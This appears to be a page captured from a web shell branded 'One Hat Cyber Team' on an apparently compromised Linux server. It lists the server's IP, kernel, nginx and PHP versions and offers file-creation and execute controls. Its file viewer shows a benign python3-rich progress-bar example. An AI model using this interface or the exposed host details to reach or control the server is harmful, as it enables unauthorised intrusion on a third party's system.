⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
python3-rich
/
examples
/
View File Name :
file_progress.py
from time import sleep from urllib.request import urlopen from rich.progress import wrap_file # Read a URL with urlopen response = urlopen("https://www.textualize.io") # Get the size from the headers size = int(response.headers["Content-Length"]) # Wrap the response so that it update progress with wrap_file(response, size) as file: for line in file: print(line.decode("utf-8"), end="") sleep(0.1)